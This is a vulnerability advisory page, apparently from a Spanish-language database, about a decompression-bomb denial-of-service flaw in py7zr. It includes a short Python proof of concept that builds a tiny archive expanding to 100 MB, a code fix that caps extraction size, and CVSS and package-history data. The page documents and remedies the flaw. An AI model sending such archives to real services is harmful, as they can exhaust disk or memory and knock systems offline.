py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size
py7zr's Worker.decompress() extracts archive entries without tracking total decompressed size. A crafted .7z file can exhaust disk or memory before the extraction completes.
Measured: 15.6 KB archive → 100 MB output (6,556:1 ratio).
Proof of concept:
import py7zr, tempfile, os
# create bomb: compress 100MB of zeros into ~15KB
bomb_path = tempfile.mktemp(suffix='.7z')
with py7zr.SevenZipFile(bomb_path, 'w') as z:
import io
z.writef(io.BytesIO(b'\x00' * 100 * 1024 * 1024), 'bomb.bin')
print(f'archive size: {os.path.getsize(bomb_path):,} bytes')
# extract — no size check
with py7zr.SevenZipFile(bomb_path, 'r') as z:
z.extractall(path=tempfile.mkdtemp())
print('extracted 100 MB from ~15 KB archive')
Root cause: Worker.decompress() in py7zr/worker.py writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python's zipfile max_size parameter.
Fix: track cumulative decompressed bytes and raise before writing if a limit is exceeded:
MAX_EXTRACT_SIZE = 2 * 1024 ** 3 # 2 GB default, configurable
total = 0
for chunk in decompressed_chunks:
total += len(chunk)
if total > MAX_EXTRACT_SIZE:
raise py7zr.exceptions.DecompressionBombError(
f'Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes'
)
outfile.write(chunk)
Tested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Python (PyPI) | py7zr | < 1.1.3 | 1.1.3 |
Referencias
- Vector CVSS
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N- Debilidad (CWE)
CWE-409- Plataforma
- Python (PyPI)
- Paquete
py7zr- Publicada
- 19.06.2026
- Actualizado
- 11.10.2026 14:17
Fuentes y licencias
OSV / GitHub Advisory Database - PYSEC-2026-2972 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-gjrg-mpp7-g774 - CC BY 4.0
Historial de vulnerabilidades: py7zr
Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 4
- Primera → última
- 12.2022 06.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 1
- Alta 1
- Media 2
Divulgaciones por año
- 2022: 1
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 3
-
py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.